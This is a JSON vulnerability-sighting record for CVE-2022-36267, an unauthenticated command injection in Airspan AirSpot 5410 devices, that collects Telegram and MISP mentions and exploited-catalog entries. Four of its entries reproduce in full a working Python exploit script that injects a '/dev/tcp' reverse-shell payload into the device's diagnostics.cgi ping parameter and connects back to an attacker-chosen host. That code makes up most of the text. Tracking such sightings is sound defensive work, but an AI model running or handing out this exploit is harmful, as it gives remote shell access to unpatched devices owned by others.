{"vulnerability": "cve-2022-36267", "sightings": [{"uuid": "cf1f3d1e-de22-492e-9cd3-72f9e2ac96c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:01.000000Z"}, {"uuid": "5a9c6476-4292-49b9-8e68-1cff16e00169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/hackingbra/63", "content": "#exploit\n1. CVE-2023-40713:\nExploiting GOG Galaxy XPC service for privilege escalation in macOS\nhttps://securityintelligence.com/x-force/exploiting-gog-galaxy-xpc-service-privilege-escalation-macos\n\n2. CVE-2023-6560:\nio_uring_io_uaddr_map() Dangerous Multi-Page Handling\nhttps://packetstormsecurity.com/files/176405/io_uring-__io_uaddr_map-Dangerous-Multi-Page-Handling.html\n\n3. CVE-2022-36267:\nAirspan AirSpot 5410 - Unauth Remote CI\nhttps://github.com/0xNslabs/CVE-2022-36267-PoC", "creation_timestamp": "2024-01-10T03:34:04.000000Z"}, {"uuid": "c05408d6-30fb-43e8-8e97-3deaa1c9de1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/arpsyndicate/2754", "content": "#ExploitObserverAlert\n\nCVE-2022-36267\n\nDESCRIPTION: Exploit Observer has 6 entries related to CVE-2022-36267. In Airspan AirSpot 5410 version 0.3.4.1-4 and under there exists a Unauthenticated remote command injection vulnerability. The ping functionality can be called without user authentication when crafting a malicious http request by injecting code in one of the parameters allowing for remote code execution. This vulnerability is exploited via the binary file /home/www/cgi-bin/diagnostics.cgi that accepts unauthenticated requests and unsanitized data. As a result, a malicious actor can craft a specific request and interact remotely with the device.\n\nFIRST-EPSS: 0.694210000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-01-09T14:34:03.000000Z"}, {"uuid": "1f3d0d5c-04cf-41c8-bb81-a009a8de7ec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/JerusalemElectronicArmy/179", "content": "#\u0627\u062e\u0628\u0627\u0631_\u0633\u0627\u064a\u0628\u0631 \n\u062a\u0642\u0631\u064a\u0631 \u064a\u062a\u062d\u062f\u062b \u0639\u0646 \u0647\u062c\u0645\u0627\u062a \u062a\u0633\u0645\u0649 Mirai Botnet  \u0644\u0627\u0633\u062a\u0647\u062f\u0627\u0641 \u0623\u062c\u0647\u0632\u0629 Linux \u0648\u0625\u0646\u062a\u0631\u0646\u062a \u0627\u0644\u0623\u0634\u064a\u0627\u0621\n\u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u062a\u0627\u0644\u064a\u0629:\n\n    CVE-2012-4869: FreePBX Elastix Remote Command Execution Vulnerability\n    Gitorious Remote Command Execution Vulnerability\n    CVE-2014-9727: FRITZ!Box Webcam Remote Command Execution Vulnerability\n    Mitel AWC Remote Command Execution Vulnerability\n    CVE-2017-5173: Geutebruck IP Cameras Remote Command Execution Vulnerability\n    CVE-2019-15107: Webmin Command Injection Vulnerability\n    Spree Commerce Arbitrary Command Execution Vulnerability\n    FLIR Thermal Camera Remote Command Execution Vulnerability\n    CVE-2020-8515: DrayTek Vigor Remote Command Execution Vulnerability\n    CVE-2020-15415: DrayTek Vigor Remote Command Injection Vulnerability\n    CVE-2022-36267: Airspan AirSpot Remote Command Execution Vulnerability\n    CVE-2022-26134: Atlassian Confluence Remote Code Execution Vulnerability\n    CVE-2022-4257: C-Data Web Management System Command Injection Vulnerability\n\nhttps://unit42.paloaltonetworks.com/mirai-variant-v3g4/", "creation_timestamp": "2023-02-19T12:43:33.000000Z"}, {"uuid": "c09552c3-d3d6-4ad9-8b33-5594ff80880f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/cibsecurity/47741", "content": "\u203c CVE-2022-36267 \u203c\n\nIn Airspan AirSpot 5410 version 0.3.4.1-4 and under there exists a Unauthenticated remote command injection vulnerability. The ping functionality can be called without user authentication when crafting a malicious http request by injecting code in one of the parameters allowing for remote code execution. This vulnerability is exploited via the binary file /home/www/cgi-bin/diagnostics.cgi that accepts unauthenticated requests and unsanitized data. As a result, a malicious actor can craft a specific request and interact remotely with the device.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-08T18:23:55.000000Z"}, {"uuid": "c1101ea2-6fa5-4f6f-928a-061c8c953323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/9759", "content": "#exploit\n1. CVE-2023-40713:\nExploiting GOG Galaxy XPC service for privilege escalation in macOS\nhttps://securityintelligence.com/x-force/exploiting-gog-galaxy-xpc-service-privilege-escalation-macos\n\n2. CVE-2023-6560:\nio_uring_io_uaddr_map() Dangerous Multi-Page Handling\nhttps://packetstormsecurity.com/files/176405/io_uring-__io_uaddr_map-Dangerous-Multi-Page-Handling.html\n\n3. CVE-2022-36267:\nAirspan AirSpot 5410 - Unauth Remote CI\nhttps://github.com/0xNslabs/CVE-2022-36267-PoC", "creation_timestamp": "2024-01-10T10:59:58.000000Z"}, {"uuid": "b41943dc-6b96-4526-9594-0d147a4e8baf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10122", "content": "#exploit\n1. CVE-2023-36049:\nMicrosoft .NET CRLF Injection Arbitrary File Write/Deletion\nhttps://www.zerodayinitiative.com/blog/2024/3/6/cve-2023-36049-microsoft-net-crlf-injection-arbitrary-file-writedeletion-vulnerability\n\n2. CVE-2022-36266, CVE-2022-36267, CVE-2022-36264, CVE-2022-36265:\nAirspan AirSpot 5410 Vulnerabilities\nhttps://neroteam.com/blog/airspan-airspot-5410-vulnerability-report", "creation_timestamp": "2024-03-11T07:14:50.000000Z"}, {"uuid": "663bf77f-59b2-464a-adda-7c85b112b123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/Rootsec_2/2468", "content": "#exploit\n1. CVE-2023-40713:\nExploiting GOG Galaxy XPC service for privilege escalation in macOS\nhttps://securityintelligence.com/x-force/exploiting-gog-galaxy-xpc-service-privilege-escalation-macos\n\n2. CVE-2023-6560:\nio_uring_io_uaddr_map() Dangerous Multi-Page Handling\nhttps://packetstormsecurity.com/files/176405/io_uring-__io_uaddr_map-Dangerous-Multi-Page-Handling.html\n\n3. CVE-2022-36267:\nAirspan AirSpot 5410 - Unauth Remote CI\nhttps://github.com/0xNslabs/CVE-2022-36267-PoC", "creation_timestamp": "2024-08-16T09:01:20.000000Z"}, {"uuid": "eb70d884-309c-48c6-bd20-032a7d2ade31", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/685b784c-f7bb-4c51-bc6d-825ac66436ca", "content": "", "creation_timestamp": "2026-06-23T14:06:15.053718Z"}, {"uuid": "5df11357-9b68-4576-807b-720f9be1b537", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2022-36267", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/52134ace-e66d-493f-80a9-fcdb386480ce", "content": "", "creation_timestamp": "2026-06-30T12:19:14.492465Z"}, {"uuid": "5b9df576-ef8a-4514-a1ac-9bcd53c0b0f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/hacking_Attack/64962", "content": "Exploit Collector\nAirSpot 5410 0.3.4.1-4 Remote Command Injection\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nAirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.\n\nSHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383\n\nDownload\n# -*- coding: utf-8 -*-\n\n# Exploit Title: AirSpot unauthenticated remote command injection\n# Date: 7/26/2022\n# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)\n# Vendor Homepage: https://www.airspan.com/\n# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf\n# Version: 0.3.4.1-4 and under.\n# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)\n# CVE : CVE-2022-36267\n\nfrom __future__ import print_function, unicode_literals\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nairspanLogo = \"\"\" \n,-.\n/ \\  `.  __..-,O\n:   \\ --''_..-'.'\n|    . .-' `. '.\n:     .     .`.'\n\\     `.  /  ..\n\\      `.   ' .\n`,       `.   \\\n,|,`.        `-.\\\n'.||  ``-...__..-`\n|  | Airspan \n|__| AirSpot 5410\n/||\\ PWNED x_x\n//||\\\\\n// || \\\\\n__//__||__\\\\__\n'--------------'Necrum Security Labs\n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m         \\033[1;91mAirSpot 5410 CMD INJECTION\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(airspanLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'https://{}:{}'.format(RHOST, RPORT)\ntry:\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=30)\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nprint('[INFO] Airspan device web interface seems reachable!')\nexcept:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\npayload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)\ndata = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)\nprint(\"Reverse shell successfully executed. {}:{}\".format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint(\"Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}\").format(LHOST, LPORT)\nreturn False\n\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (Airspan AirSpot device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine. (443 by default)\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:26.430782Z"}, {"uuid": "04955477-534a-4d4a-be8c-764d5be03b80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "seen", "source": "https://t.me/hacking_Attack/64962", "content": "Exploit Collector\nAirSpot 5410 0.3.4.1-4 Remote Command Injection\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nAirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.\n\nSHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383\n\nDownload\n# -*- coding: utf-8 -*-\n\n# Exploit Title: AirSpot unauthenticated remote command injection\n# Date: 7/26/2022\n# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)\n# Vendor Homepage: https://www.airspan.com/\n# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf\n# Version: 0.3.4.1-4 and under.\n# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)\n# CVE : CVE-2022-36267\n\nfrom __future__ import print_function, unicode_literals\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nairspanLogo = \"\"\" \n,-.\n/ \\  `.  __..-,O\n:   \\ --''_..-'.'\n|    . .-' `. '.\n:     .     .`.'\n\\     `.  /  ..\n\\      `.   ' .\n`,       `.   \\\n,|,`.        `-.\\\n'.||  ``-...__..-`\n|  | Airspan \n|__| AirSpot 5410\n/||\\ PWNED x_x\n//||\\\\\n// || \\\\\n__//__||__\\\\__\n'--------------'Necrum Security Labs\n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m         \\033[1;91mAirSpot 5410 CMD INJECTION\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(airspanLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'https://{}:{}'.format(RHOST, RPORT)\ntry:\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=30)\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nprint('[INFO] Airspan device web interface seems reachable!')\nexcept:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\npayload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)\ndata = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)\nprint(\"Reverse shell successfully executed. {}:{}\".format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint(\"Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}\").format(LHOST, LPORT)\nreturn False\n\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (Airspan AirSpot device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine. (443 by default)\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:41.585588Z"}, {"uuid": "b0470cd1-f60f-44d3-9151-36bc48ead50c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64962", "content": "Exploit Collector\nAirSpot 5410 0.3.4.1-4 Remote Command Injection\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nAirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.\n\nSHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383\n\nDownload\n# -*- coding: utf-8 -*-\n\n# Exploit Title: AirSpot unauthenticated remote command injection\n# Date: 7/26/2022\n# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)\n# Vendor Homepage: https://www.airspan.com/\n# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf\n# Version: 0.3.4.1-4 and under.\n# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)\n# CVE : CVE-2022-36267\n\nfrom __future__ import print_function, unicode_literals\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nairspanLogo = \"\"\" \n,-.\n/ \\  `.  __..-,O\n:   \\ --''_..-'.'\n|    . .-' `. '.\n:     .     .`.'\n\\     `.  /  ..\n\\      `.   ' .\n`,       `.   \\\n,|,`.        `-.\\\n'.||  ``-...__..-`\n|  | Airspan \n|__| AirSpot 5410\n/||\\ PWNED x_x\n//||\\\\\n// || \\\\\n__//__||__\\\\__\n'--------------'Necrum Security Labs\n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m         \\033[1;91mAirSpot 5410 CMD INJECTION\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(airspanLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'https://{}:{}'.format(RHOST, RPORT)\ntry:\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=30)\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nprint('[INFO] Airspan device web interface seems reachable!')\nexcept:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\npayload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)\ndata = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)\nprint(\"Reverse shell successfully executed. {}:{}\".format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint(\"Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}\").format(LHOST, LPORT)\nreturn False\n\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (Airspan AirSpot device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine. (443 by default)\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T12:00:05.856750Z"}, {"uuid": "09439136-a3fa-4078-b0aa-19a5674e0421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36267", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/64962", "content": "Exploit Collector\nAirSpot 5410 0.3.4.1-4 Remote Command Injection\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nAirSpot 5410 versions 0.3.4.1-4 and below suffer from an unauthenticated remote command injection vulnerability.\n\nSHA-256 | 0453a46f41ec4c59c37a44bb644827c11fe0d7e8677419a16aefa00836c95383\n\nDownload\n# -*- coding: utf-8 -*-\n\n# Exploit Title: AirSpot unauthenticated remote command injection\n# Date: 7/26/2022\n# Exploit Author: Samy Younsi (NSLABS) (https://samy.link)\n# Vendor Homepage: https://www.airspan.com/\n# Software Link: https://wdi.rfwel.com/cdn/techdocs/AirSpot5410.pdf\n# Version: 0.3.4.1-4 and under.\n# Tested on: Airspan AirSpot 5410 version 0.3.4.1-4 (Ubuntu)\n# CVE : CVE-2022-36267\n\nfrom __future__ import print_function, unicode_literals\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nairspanLogo = \"\"\" \n,-.\n/ \\  `.  __..-,O\n:   \\ --''_..-'.'\n|    . .-' `. '.\n:     .     .`.'\n\\     `.  /  ..\n\\      `.   ' .\n`,       `.   \\\n,|,`.        `-.\\\n'.||  ``-...__..-`\n|  | Airspan \n|__| AirSpot 5410\n/||\\ PWNED x_x\n//||\\\\\n// || \\\\\n__//__||__\\\\__\n'--------------'Necrum Security Labs\n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m         \\033[1;91mAirSpot 5410 CMD INJECTION\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(airspanLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'https://{}:{}'.format(RHOST, RPORT)\ntry:\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=30)\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nprint('[INFO] Airspan device web interface seems reachable!')\nexcept:\nprint('[!] \\033[1;91mError: AirSpot 5410 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\npayload = '`sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`'.format(LHOST, LPORT)\ndata = 'Command=pingDiagnostic&targetIP=1.1.1.1{}&packetSize=55&timeOut=10&count=1'.format(payload)\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post('https://{}:{}/cgi-bin/diagnostics.cgi'.format(RHOST, RPORT), data=data, verify=False)\nprint(\"Reverse shell successfully executed. {}:{}\".format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint(\"Reverse shell failed. Make sure the AirSpot 5410 device can reach the host {}:{}\").format(LHOST, LPORT)\nreturn False\n\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an nauthenticated remote command injection on Airspan AirSpot devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (Airspan AirSpot device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine. (443 by default)\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:48.872356Z"}]}